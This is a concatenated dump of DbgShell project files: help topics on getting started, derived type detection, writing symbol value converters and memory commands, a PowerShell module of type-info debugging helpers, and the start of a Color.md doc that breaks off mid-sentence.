MarkDown help file "ReadMe.md" at the root of the DbgShell installation. TBD: generate help topics from .md help files. ADDITIONAL HELP TOPICS Get-Help about_DbgShell_GettingStarted Get-Help about_MemoryCommands Get-Help about_CustomFormatting Get-Help about_Color Get-Help about_DerivedTypeDetection QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_DbgShell_GettingStarted.help.txt ================================================ TOPIC about_DbgShell_GettingStarted SHORT DESCRIPTION DbgShell is a PowerShell front-end for the Windows debuggers. For more background information, run Get-Help about_DbgShell. LONG DESCRIPTION Please see the MarkDown help file "Color.md" in the "doc" folder at the root of the DbgShell installation. TBD: generate help topics from .md help files. ADDITIONAL HELP TOPICS Get-Help about_DbgShell Get-Help about_MemoryCommands Get-Help about_CustomFormatting Get-Help about_Color Get-Help about_DerivedTypeDetection QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_DerivedTypeDetection.help.txt ================================================ TOPIC about_DerivedTypeDetection SHORT DESCRIPTION DbgShell lets you see symbol values as they are, not just as they are declared. LONG DESCRIPTION For instance, if you have a member field that is declared in source code as being an IFoo*, but at runtime the member points at a CFooImpl, when you dump the object in DbgShell, you'll see a CFooImpl. It works by using vtable and base class information found in the PDB. It does not require anything from you. However, if you run into some sort of problem (or just want to see how good you have it), you can bypass it by using the "DbgSymbol.GetValue( bool skipTypeConversion, bool skipDerivedTypeDetection )" method. There is also a plug-in facility for cases where there is no symbolic relationship between the detected vtable and the declared type (sometimes you get this with generated code, for instance), but for most cases this should not be needed. QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_HowTo_Write_a_Symbol_Value_Converter.help.txt ================================================ TOPIC about_HowTo_Write_a_Symbol_Value_Converter SHORT DESCRIPTION "Symbol Value Converters" allow DbgShell to automagically transform symbol value objects into more useful forms (for example, transforming STL containers into .NET containers for easy inspection and scripting). LONG DESCRIPTION A "Symbol Value Converter" is really just a snippet of PowerShell script. The script accepts a symbol ([MS.Dbg.DbgSymbol]) as input, and yields a value that represents the value of the symbol. Most symbols do not need a symbol value converter--the default (or "stock") value object created by DbgShell to represent the value of a symbol is in most cases just fine. But in some cases, symbol value converters can add a lot of value, making information much more easily and conveniently accessible, both for manual inspection and for scripting. Symbol value converters are registered and applied using type names (similar to custom formatting view definitions (see Get-Help about_CustomFormatting)). Qualifying a type name with the module is optional. So, for example, if you want to write a symbol value converter for _RTL_CRITICAL_SECTION objects, you could register the converter using either the name 'ntdll!_RTL_CRITICAL_SECTION', or just '!_RTL_CRITICAL_SECTION'. Then, when DbgShell comes across an _RTL_CRITICAL_SECTION symbol and needs to create an object representing the value of the symbol, it will look up your converter, run it, and use the resulting object. You can look at the type names associated with a symbol by calling GetTypeNames() on it. For example: > (dv this).GetTypeNames() CoreMessaging!Contoso::CoreUI::Messaging::MessageSession* !Contoso::CoreUI::Messaging::MessageSession* CoreMessaging!Contoso::CoreUI::SharedDisposableObject* !Contoso::CoreUI::SharedDisposableObject* CoreMessaging!Contoso::CoreUI::BaseDisposableObject* !Contoso::CoreUI::BaseDisposableObject* CoreMessaging!Sys::Object* !Sys::Object* A symbol value converter is searched for starting with the most-specific type name (the one at the top of the list). Note that each type name appears twice--once with a qualifying module ("fooMod!Typename"), and then once without ("!TypeName"). This allows you to narrow the scope of a symbol value converter to just types from a particular module, which takes precedence over a more broadly-scoped converter. If a symbol value converter is for some reason unable to produce a value for a given symbol, it can return $null to let DbgShell know. In that case, DbgShell just uses the default ("stock") value. (It does not continue searching for another converter to try.) CUSTOMIZING THE TYPENAMES LIST Type names from symbols are also recorded in symbol values, by storing them in the result PSObject's TypeNames list. When a converter is applied, you may want to record that fact by inserting a name into the list. This can be useful for when you also have a custom view definition that you want to apply only to values that have been through your converter. For instance, if you had a table view for a particular type where one of the columns is a "synthetic" property added by a converter, you wouldn't want the table view definition to be selected for values that had /not/ been through your converter (else you would have errors when formatting that column). There is a handy InsertTypeNameBefore function that you can use for this. For example, we use it right at the end of the symbol value converter for nt!_EPROCESS, before we return the converted value: ... # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_EPROCESS' ` -Before 'nt!_EPROCESS' return $val Then, in the script that registers view definitions for _EPROCESS objects, we have this entry: New-AltTypeFormatEntry -TypeName 'ConverterApplied:_EPROCESS' { ... Quick PowerShell lesson: every object in PowerShell is represented by or wrapped in a PSObject. You can access the PSObject for any given object by using the hidden (it won't tab-complete) "PSObject" property. Then you can access the "TypeNames" property to see the list of type names. Example: > (dt ntdll!LdrpLoaderLock).PSObject.TypeNames ntdll!_RTL_CRITICAL_SECTION|_RTL_CRITICAL_SECTION !_RTL_CRITICAL_SECTION|_RTL_CRITICAL_SECTION MS.Dbg.DbgUdtValue MS.Dbg.DbgValue System.Object CONVERTER SCRIPTS Symbol value converter scripts can be saved in PowerShell script files (.ps1). Existing symbol value converter scripts are kept in the "Debugger" directory where DbgShell is installed, and are named Debugger.Converters..ps1. They can be named anything you like and kept anywhere you like, but if you name and place your script according to the convention, DbgShell will run it automatically when it starts. If you want to update a converter, just edit the script and then re-run it --you don't need to restart DbgShell (very handy during converter development). TEMPLATES C++ templates are a powerful metaprogramming tool. But they also mean that there are effectively an endless set of of types that are essentially the same, yet have different type names. Fortunately, you do not need to write a different symbol value converter for every specialization of a template--you can write just one, and use a special wildcard syntax when registering it. The wildcards can be used within the angle brackets (<>) of a template name: wildcard meaning ======== ============================================================== ? Matches a single template parameter. ?* Matches multiple template parameters. Consumes all remaining parameters, and must come last in the parameter list for a template. Examples: Template pattern Matches ================ =============================================== '!Foo' Foo Foo Foo> '!Foo' Foo Foo Foo,WCHAR,char> '!Foo,int> Foo,int>, Foo,int> '!Foo' Illegal: the '?*' wildcard must be last in the parameter list in which it appears. '!Foo' Illegal: the '?*' wildcard must be last in the parameter list in which it appears. POINTERS You don't need to write symbol value converters for pointer types (or arrays). When producing the value for a pointer symbol, DbgShell will follow the pointer and use the symbol value converter for the UDT, and automatically produce a nice value for the pointer symbol based on that. (This is also why you don't ever need to worry about whether to use "->" or "." in Dbgshell; you can just always use ".".) TECHNIQUES There are several different techniques which can be used to write a symbol value converter. The techniques used to write a converter allow us to loosely categorize converters as follows: 1. Elision or "skip" converters 2. Additive converters 3. Member-tweaking converters 4. Type-changing converters 5. Total Conversion converters One thing that you will notice that symbol value converter scripts have in common is that they start off by retrieving the "stock" (default; no converters or customizations applied) value for a symbol. This lets the converter access the "raw" members of the object, so that it can then do something interesting with them to produce a more useful object to represent the value of the symbol. Now we'll explain the different styles of converters and give an example of each. 1. Elision or "skip" converters. This style of converter is the simplest. It is used to simply bypass or skip a "level" in a membership tree. For instance, there are many "smart pointer" types which simply contain a single member (usually called something like "m_p", "p", "_ptr", or sometihng like that). The value added by such smart pointer types is in their methods (especially the constructor, destructor, and assignment operators), but at debugging time, when inspecting data, they are not interesting. Just like in source code, you'd rather be able to "see right through" the smart pointer implementation. And you can do that with a symbol value converter like so: New-DbgValueConverterInfo -TypeName '!ATL::CComPtr' -Converter { # $_ is the symbol $stockValue = $_.GetStockValue() return $stockValue.p } If you had a local variable "foo" which contained a CComPtr member called m_pBar, without this converter, you would have to deal with the CComPtr--for example, "dt foo.m_pBar.p.MemberOfBar". But with the converter, you can access things more like how you would in the source code--"dt foo.m_pBar.MemberOfBar". And viewing "foo", which will show its members, will show a Bar object as a member, instead of a CComPtr (which you would then have to dig into). 2. Additive Converters For many objects, the default symbol value conversion is fine. But for some objects, you wish you could just add a few more "virtual" properties to them. You can do that with a symbol value converter. For instance, consider _RTL_CRITICAL_SECTION objects. When debugging, you'd want to be able to see the members of a CS object. But determining if a given CS is locked or not can be tricky, especially if you don't remember how it is encoded (the "LockCount" member encodes whether or not it is locked, whether or not a waiter has been woken, and how many waiting threads there are). So it would be nice to be able to write a little bit of script that can interpret the LockCount field, and add a few "synthetic" properties to the object. Here is an abbreviated version (no error handling, and some minor simplification) of the _RTL_CRITICAL_SECTION symbol value converter which demonstrates this technique: New-DbgValueConverterInfo -TypeName '!_RTL_CRITICAL_SECTION' -Converter { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $isLocked = 0 -eq ($val.LockCount -band 0x01) $waiterWoken = 0 -eq ($val.LockCount -band 0x02) $numWaitingThreads = (-1 - $val.LockCount) -shr 2 $owningThreadDbgId = $Debugger.GetThreadDebuggerIdBySystemTid( $owningThreadSysTid ) $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } Add-Member @commonParams -Name 'IsLocked' -Value $isLocked Add-Member @commonParams -Name 'WaiterWoken' -Value $waiterWoken Add-Member @commonParams -Name 'NumWaitingThreads' -Value $numWaitingThreads Add-Member @commonParams -Name 'OwningThreadDbgId' -Value $owningThreadDbgId return $val } This will yield output like the following when viewing _RTL_CRITICAL_SECTION objects. Note the "synthetic properties" section: > dt ntdll!LdrpWorkQueueLock Name: LdrpWorkQueueLock Local var @ 00007ffd`34d53aa0: _RTL_CRITICAL_SECTION: Not locked. +0x000 DebugInfo : ffffffff`ffffffff _RTL_CRITICAL_SECTION_DEBUG +0x008 LockCount : -1 +0x00c RecursionCount : 0 +0x010 OwningThread : (null) Void* +0x018 LockSemaphore : (null) Void* +0x020 SpinCount : 0x20007d0 Synthetic (debugger-generated) properties: IsLocked : False WaiterWoken : False NumWaitingThreads : 0 OwningThreadDbgId : 0 In addition to improving the display of the value, these properties are also available for scripting. In other words, you could write some bit of script like "if( (dt ntdll!LdrpWorkQueueLock).IsLocked ) { ... }". Note that the converter made a copy of the stock value before modifying it. This is important for additive converters, because DbgSymbol.GetStockValue() does not make a copy for you, so altering the stock value object could cause unexpected results for other scripts that expect to find an unmodified value when calling GetStockValue(). 3. Member-tweaking converters Member-tweaking converters are similar to additive converters, but instead of adding some members, you might want to just tweak a few existing members. For example, the nt!_EPROCESS structure stores a pointer to a session structure. But the type of the session pointer is declared as "void*". It would be a lot nicer if, when inspecting an _EPROCESS value, we could just dig into the session pointer without any additional fuss. We can make that possible with a converter for nt!_EPROCESS. Here's a snippet of script demonstrating how to update the Session member (the error handling is omitted): $t = dt 'nt!_MM_SESSION_SPACE' $session = $val.Session.DbgReinterpretPointeeType( $t ) $val.DbgReplaceMemberValue( 'Session', $session ) The key is the DbgReplaceMemberValue call. The advantage of replacing an existing member is that it shows up in the value output where you would expect, including its offset, etc., as opposed to in a "synthetic members" section at the end. Take a look at the actual converter to see how errors are handled. Another example is the _HANDLE_TABLE converter. The _HANDLE_TABLE structure includes a FreeLists member declared as a _HANDLE_TABLE_FREE_LIST[1], but the true number of elements in the array is nt!ExpFreeListCount. The converter can automagically expand that out. New-DbgValueConverterInfo -TypeName 'nt!_HANDLE_TABLE' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } try { $numFreeLists = dt nt!ExpFreeListCount if( $null -ne $numFreeLists ) # not sure if this is possible. Is it in paged mem? { # I believe this is what ExpFreeListCount gets initialized to. Hopefully this is valid... $numFreeLists = [Math]::Min( $Debugger.GetNumberProcessors(), 128 ) } $s = $val.FreeLists.DbgGetSymbol() $rightSized = $s.AsArray( $numFreeLists ).Value $val.DbgReplaceMemberValue( 'FreeLists', $rightSized ) } catch { # We could be looking at bad data. return $null } return $val } finally { } } # end _HANDLE_TABLE converter Of course you can combine additive and member-tweaking techniques (you can both add synthetic members as well as change existing members). The nt!_EPROCESS converter is a good example of that. 4. Type-changing converters DbgShell has pretty good Derived Type Detection (run "Get-Help about_DerivedTypeDetection" for more info), but occasionally you can do an even better job. For instance, DbgShell attempts to infer the true type of a symbol value by looking for vtables. But due to "COMDAT folding" (which is something that can happen if you have multiple types that happen to have vtables that look identical, so then the compiler/linker can eliminate duplicates), it might get it wrong. If your objects contain explicit type metadata, you may be able to determine the type of an object better than DbgShell can. And you can encode that knowledge of how to use the embedded type metadata to determine the true runtime type in a symbol value conversion script. Here is an example, which has been simplified for expository purposes, mostly by removing error handling. New-DbgValueConverterInfo -TypeName 'CoreMessaging!Sys::Object' -Converter { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $defTypeAddr = $stockValue.cn.m_pdefType.DbgGetPointer() [UInt64] $offset = 0 $defTypeSym = $Debugger.GetSymbolByAddress( $defTypeAddr, [ref] $offset ) $realTypeName = $defTypeSym.Name $idx = $realTypeName.IndexOf( '$R::s_defType' ) $realTypeName = $realTypeName.Remove( $idx ) if( $realTypeName -eq $sym.Type.Name ) { # We don't always need to use the CN metadata--we might already # have the right type. return $null } $realType = dt "CoreMessaging!$realTypeName" if( !$realType ) { # Sometimes we don't get certain types in the PDB. Write-Warning "CN metadata says the type is '$realTypeName', but we can't find that type." # We'll have to just throw ourselves on the mercy of normal Derived Type # Detection. return $null } # The -NoConversion and -NoDerivedTypeDetection is because we want to # avoid infinite recursion (by calling into this converter again) and to # avoid undoing what we just did. return (Get-DbgSymbolValue -Address $sym.Address ` -Type $realType ` -NameForNewSymbol $sym.Name ` -NoConversion ` -NoDerivedTypeDetection) } Note that when it decided it didn't need to do anything, or ran into trouble, the converter returned $null to signal that it did not want to or was unable to produce an object representing the symbol value. 5. Total Conversion converters Sometimes the stock value for a symbol is basically unusable as-is. For instance, STL containers (especially the tree-based ones!). In these cases, you can supply a completely new value that is a better semantic representation of the value. The forward_list converter is a relatively simple example: New-DbgValueConverterInfo -TypeName '!std::forward_list' -Converter { # $_ is the symbol $stockValue = $_.GetStockValue() # It's a unidirectional linked list. $list = New-Object "System.Collections.Generic.List[PSObject]" $curNode = $stockValue._Myhead while( !$curNode.DbgIsNull() ) { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } $list = $list.AsReadOnly() # Preserve the original ToString() so we get the type name 'n stuff: Add-Member -InputObject $list ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $stockValue.ToString() }.GetNewClosure() ` -Force # Use Write-Collection to prevent PS from unrolling the collection. Write-Collection -Collection $list } # end forward_list converter For more examples, take a look at the Debugger.Converters.stl.ps1 script. FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_MemoryCommands.help.txt ================================================ TOPIC about_MemoryCommands SHORT DESCRIPTION With so many different commands to display and edit memory, it's difficult to remember what your options are. This topic will server as a "quick reference". LONG DESCRIPTION Reading Memory: "Raw": These commands return indexable objects representing "raw" memory (DbgMemory objects): Element Size (bytes) Command Mnemonic: Description ======= ======= ======================================================= 1 db Dump Bytes: dumps bytes, plus [ASCII] characters 2 dw Dump WORDs 2 dW Dump WORDs, with characters (like windbg) 4 dd Dump DWORDs 4 dc Dump Characters: dumps DWORDs, plus [ASCII] characters 4 dyd Dump binarY: dumps DWORDs, plus the binary (base-2) 8 dq Dump QWORDs 4/8 dp Dump Pointers 4/8 dpc Dump Pointers, with Characters 4/8 dps Dump Pointers, with Symbols 4/8 dpsc Dump Pointers, with Symbols and Characters Strings: These commands interpret memory as strings: Returns Command Mnemonic: Description ======= ======= ================================================= DbgMemory da Dump Ascii: interprets memory as ASCII characters DbgMemory du Dump Unicode System.String dsz Dump String, Zero-terminated (ASCII) System.String dwsz Dump Wide String, Zero-terminated Special: Returns Command Mnemonic: Description ======= ======= ================================================= DbgMemory d Dump: repeats last DbgMemory-based dump command. When a memory command is repeated, it continues reading memory where the last command stopped. Thus you can type "dps $csp" and view three contiguous chunks of the stack. DbgMemory objects are indexable based on the element size they were dumped with. But the element size can be changed "after the fact": you can do $mem = dd $retreg which gives you an object that looks like a set of DWORDs ("$mem[3]" gives a System.Int32), but then you can do $mem.DefaultDisplayFormat = 'Bytes' and then $mem will appear as if you had done "db" instead. You can also just use the Bytes, Words, DWords, etc. properties to access it as if it were a collection of elements of the appropriate size. You can also use these functions to conveniently clone an existing DbgMemory object, but with a different format. For example: $mem = db @sp $mem $mem | dps Those commands will first show a chunk of stack as bytes, then as pointers with symbols. N.B. The Length property of a DbgMemory object always returns the length in BYTES, whereas the Count property returns the number of elements of the size indicated by the DefaultDisplayFormat property. Writing Memory: There is also a Write-DbgMemory command, which can be used to write data to memory. There are also some windbg-style wrappers: Element Size (bytes) Command Mnemonic: Description ======= ======= ======================================================= 1 eb Enter Bytes: writes bytes 4 ed Enter DWORDs: writes DWORDs 8 eq Enter QWORDs: writes DWORDs 4/8 ep Enter Pointers: writes pointer-sized words QUESTIONS Q: Why are the names so crazy and weird? Like "dw" versus "dW", and "dd"/"dc", etc. A: You can blame windbg: most of these commands are named the same as their windbg counterparts. Not all windbg memory-dumping commands are here (yet). There are also some additional commands which are not found in windbg, which have names that attempt to follow a similar pattern as their windbg friends (for instance, "dpsc"). FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/TypeInfoDebugging/TypeInfoDebugging.psm1 ================================================ Set-StrictMode -Version Latest # # This is just hacky stuff intended for helping debug type stuff; you shouldn't use it. # function Get-UdtTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') | %{ if( $_.SymTag -eq 'UDT' ) { $_ } } } finally { } } function Get-UdtClassTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtClass' ) { $_ } } } finally { } } function Get-UdtStructTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtStruct' ) { $_ } } } finally { } } function Get-UdtUnionTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtUnion' ) { $_ } } } finally { } } <# Question: Why do base types sometimes show up a lot: $baseTypeTypes = @{} Get-BaseTypes -ModuleName TestNativeConsoleApp | %{ if( !$baseTypeTypes.ContainsKey( $_.TypeId ) ) { $baseTypeTypes[ $_.TypeId ] = 1 } else { $baseTypeTypes[ $_.TypeId ]++ } } $baseTypeTypes #> function Get-BaseTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') | %{ if( $_.SymTag -eq 'BaseType' ) { $_ } } } finally { } } function Get-Typedefs { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') -NoFollowTypedefs | %{ if( $_.SymTag -eq 'Typedef' ) { $_ } } } finally { } } <# .SYNOPSIS Helps you find members of a particular type. BUGGY; MISSES LOTS OF THINGS. #> function Find-MemberWithType { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.DbgSymbol[]] $Symbol, [Parameter( Mandatory = $true, Position = 1 )] [string] $TypeName, [Parameter( Mandatory = $false )] #[int] $MaxDepth = [Int32]::MaxValue # TODO: I'm limiting depth here not because searching is too slow... but because /canceling/ is too slow. I need to figure out if I can do something about that. Maybe it's only when running under a debugger, but still. [int] $MaxDepth = 10 # TODO: Need to be able to show DbgShell-style path string # (i.e. "dfsrs!g_NetworkGlobals.ioPortManager" versus # "dfsrs!g_NetworkGlobals->ioPortManager") ) begin { $bangIdx = $TypeName.IndexOf( '!' ) if( $bangIdx -ge 0 ) { # If the '!' is the last character... well, I don't care. $TypeName = $TypeName.Substring( $bangIdx + 1 ) } function DePoint( $type ) { while( $type.SymTag -eq 'PointerType' ) { $type = $type.PointeeType } # TODO: What about arrays? return $type } # TODO: wildcard support # If we have wildcard support... what then do we do about pointers? function TypeMatches( $type ) { # should already be de-pointed # while( $type.SymTag -eq 'PointerType' ) # { # $type = $type.PointeeType # } # TODO # while( $type.SymTag -eq 'ArrayType' ) # { # } #Write-Verbose " Does it match? $($type.Name) -eq $($TypeName)" return $type.Name -eq $TypeName } # end TypeMatches function SearchSymbol( $sym, [int] $curDepth, [ref] [int] $numHits, $noHitsCache ) { try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Entering depth {0}'), $curDepth ) #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Symbol {0}'), $sym.PathString ) if( $curDepth -gt $MaxDepth ) { return } [int] $origNumHits = $numHits.Value [int] $possibleLevelsBelow = $MaxDepth - $curDepth $type = DePoint $sym.Type [int] $prevSearchedLevels = 0 if( $noHitsCache.TryGetValue( $type, ([ref] $prevSearchedLevels) ) ) { if( $prevSearchedLevels -ge $possibleLevelsBelow ) { # No point in searching again; we've already searched this type. Write-Verbose "<<<< Already searched $($type.Name) at least $prevSearchedLevels levels." return } } if( (TypeMatches $type) ) { $numHits.Value = $numHits.Value + 1 $sym.PathString } Write-Verbose "Searching $($sym.PathString)..." foreach( $prop in $sym.Value.PSObject.Properties ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } if( $prop.GetType().FullName -ne 'MS.Dbg.PSSymFieldInfo' ) { continue } # I could get a lot smarter about this. For instance, cache types where there are no hits underneath. SearchSymbol $prop.Symbol ($curDepth + 1) $numHits $noHitsCache } # end foreach( property ) $enumerable = GetEnumerable $sym.Value if( $enumerable -and ($enumerable.Count -gt 0) ) { $testObj = $sym.Value | Select-Object -First 1 if( $testObj.PSObject.Methods.Name -contains 'DbgGetSymbol' ) { $sym = $testObj.DbgGetSymbol() SearchSymbol $sym ($curDepth + 1) $numHits $noHitsCache } } if( $numHits.Value -eq $origNumHits ) { # No hits found. $noHitsCache[ $type ] = $possibleLevelsBelow } } finally { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Leaving depth {0}'), $curDepth ) try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Stopping? {0}'), $PSCmdlet.get_Stopping() ) } catch { #[Console]::WriteLine( 'Uh-oh...' ) } } } # end SearchSymbol } # end 'begin' block end { } process { try { foreach( $sym in $Symbol ) { if( $PSCmdlet.get_Stopping() ) { return } $noHitsCache = New-Object 'System.Collections.Generic.Dictionary[[MS.Dbg.DbgTypeInfo],[System.Int32]]' [int] $numHits = 0; SearchSymbol $sym 0 ([ref] $numHits) $noHitsCache Write-Verbose "Found $($numHits) hits." } # end foreach( $sym ) } finally { } } } # end Find-MemberWithType <# .SYNOPSIS Helps you find members of a particular type. BUGGY; MISSES LOTS OF THINGS. #> function Find-MemberWithType2 { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNull()] [MS.Dbg.DbgTypeInfo] $UDT, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TypeName, [Parameter( Mandatory = $false )] #[int] $MaxDepth = [Int32]::MaxValue # TODO: I'm limiting depth here not because searching is too slow... but because /canceling/ is too slow. I need to figure out if I can do something about that. Maybe it's only when running under a debugger, but still. [int] $MaxDepth = 10 # TODO: Need to be able to show DbgShell-style path string # (i.e. "dfsrs!g_NetworkGlobals.ioPortManager" versus # "dfsrs!g_NetworkGlobals->ioPortManager") ) begin { $bangIdx = $TypeName.IndexOf( '!' ) if( $bangIdx -ge 0 ) { # If the '!' is the last character... well, I don't care. $TypeName = $TypeName.Substring( $bangIdx + 1 ) } function DePoint( $type ) { if( $type.SymTag -eq 'PointerType' ) { $type = DePoint $type.PointeeType } elseif( $type.SymTag -eq 'ArrayType' ) { $type = DePoint $type.ArrayElementType } return $type } # TODO: wildcard support function TypeMatches( $type ) { #Write-Verbose " Does it match? $($type.Name) -eq $($TypeName)" return $type.Name -eq $TypeName } # end TypeMatches function PathStackToString( $path ) { [string]::Join( ', ', $path ) } # end PathStackToString() function SearchType( $type, [string] $memberName, [int] $curDepth, [ref] [int] $numHits, $noHitsCache, $path ) { try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Entering depth {0}'), $curDepth ) #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Symbol {0}'), $sym.PathString ) if( $curDepth -gt $MaxDepth ) { return } [int] $origNumHits = $numHits.Value [int] $possibleLevelsBelow = $MaxDepth - $curDepth $type = DePoint $type [int] $prevSearchedLevels = 0 if( $noHitsCache.TryGetValue( $type, ([ref] $prevSearchedLevels) ) ) { if( $prevSearchedLevels -ge $possibleLevelsBelow ) { # No point in searching again; we've already searched this type. Write-Verbose "<<<< Already searched $($type.Name) at least $prevSearchedLevels levels." return } } $path.Add( $memberName ) if( (TypeMatches $type) ) { $numHits.Value = $numHits.Value + 1 PathStackToString $path } if( $type -is [MS.Dbg.DbgUdtTypeInfo] ) { Write-Verbose "Searching ($(PathStackToString $path))..." foreach( $mem in $type.Members ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } SearchType $mem.DataType $mem.Name ($curDepth + 1) $numHits $noHitsCache $path } # end foreach( member ) foreach( $mem in $type.StaticMembers ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } SearchType $mem.DataType $mem.Name ($curDepth + 1) $numHits $noHitsCache $path } # end foreach( static member ) } if( $numHits.Value -eq $origNumHits ) { # No hits found. $noHitsCache[ $type ] = $possibleLevelsBelow } $path.RemoveAt( ($path.Count - 1) ) } finally { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Leaving depth {0}'), $curDepth ) try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Stopping? {0}'), $PSCmdlet.get_Stopping() ) } catch { #[Console]::WriteLine( 'Uh-oh...' ) } } } # end SearchType } # end 'begin' block end { } process { try { $noHitsCache = New-Object 'System.Collections.Generic.Dictionary[[MS.Dbg.DbgTypeInfo],[System.Int32]]' $path = New-Object 'System.Collections.Generic.List[System.String]' [int] $numHits = 0; SearchType $UDT $UDT.Name 0 ([ref] $numHits) $noHitsCache $path Write-Verbose "Found $($numHits) hits." } finally { } } } # end Find-MemberWithType function Find-DerivedType { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.DbgUdtTypeInfo] $BaseType ) begin { if( $BaseType -is [MS.Dbg.DbgBaseClassTypeInfoBase] ) { # We know what you meant. $BaseType = Get-DbgTypeInfo -TypeId $BaseType.BaseClassTypeId -Module $BaseType.Module } } # end 'begin' block end { } process { try { # Or should it be Get-UdtClassTypes?? foreach( $udt in (Get-UdtTypes -ModuleName $BaseType.Module.Name) ) { if( $PSCmdlet.get_Stopping() ) { return } # N.B. This only finds immediately derived types! # (TODO: maybe add an option to follow derived types? But it will be expensive.) if( ($udt.BaseClasses) -and ($udt.BaseClasses.Count -gt 0) -and ($udt.BaseClasses.BaseClassTypeId -contains $BaseType.typeid) ) { $udt } } # end foreach( $udt ) } finally { } } } # end Find-MemberWithType ================================================ FILE: DbgShell/x86/doc/Color.md ================================================ # Color ### ANSI escape codes DbgShell.exe supports text colorization using ANSI escape codes (a la [ISO/IEC 6429](http://en.wikipedia.org/wiki/ISO/IEC_6429). Specifically, it supports a subset of the SGR ("Select Graphics Rendition") codes, plus a pair of nonstandard "push" and "pop" codes for better composability. Of course you don't have to manually construct strings with all those icky escape codes; use the `MS.Dbg.ColorString` class in C# or the `New-ColorString` command in PowerShell script. The ColorString class has a fluent-style API, letting you do things like: ```powershell $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $val.m_friendlyName ). Append( ' ' ). AppendPushFg( [ConsoleColor]::DarkGray ). Append( '(Id ' ). Append( $val.m_dwId.ToString() ). Append( ')' ). AppendPop() ``` Note that `ColorString` has implicit conversions from and to `System.String`, as well as certain fields to make it "look like" `System.String`. This is to aid script use of `ColorString` objects; the script is only interested in the content, and the color markup is only for display by a capable host. ![New-ColorString sample](screenshot_color.png) ### ISupportColor The `MS.Dbg.ISupportColor` interface has one method: `ToColorString()`, which returns a `ColorString` object. DbgShell's [custom formatting and output engine](CustomFormattingEngine.md) recognizes objects that implement this interface: if you write an object to the output stream which implements `ISupportColor` (and there isn't some other formatting view that covers it), the custom F+O will call `.ToColorString()` on it for display. ## Why? You've been staring at your debugger session for close to an hour... the numbers, the acronyms, the addresses, the data, the instructions are all beginning to blend together... your eyes are becoming bleary and tired trying to find the information you are looking for in the sea of gray text... Isn't there an easier way? *There could be!* With the help of _color_, seeing information can be a lot easier. Of course the information is there in the text. But even a novice debugger does not read through the debugger output like it was a novel—when debugging, *we look at the output of the debugger like a picture to find the information that we really want to read.* The ease or difficulty of finding the particular information has a huge impact on the debugging experience. With the current debugger, the only pictoral information that we have is shape and texture—the texture of the text itself, and the shapes of the different types of output. For instance, my eyes can pick out the shape of the "second chance!" message, the shape of a stack dump, the shape of a modload or block of modloads, the shape of a data dump, and the texture of chunks of zeros in a data dump. When stepping, I can rely on the repeating constant 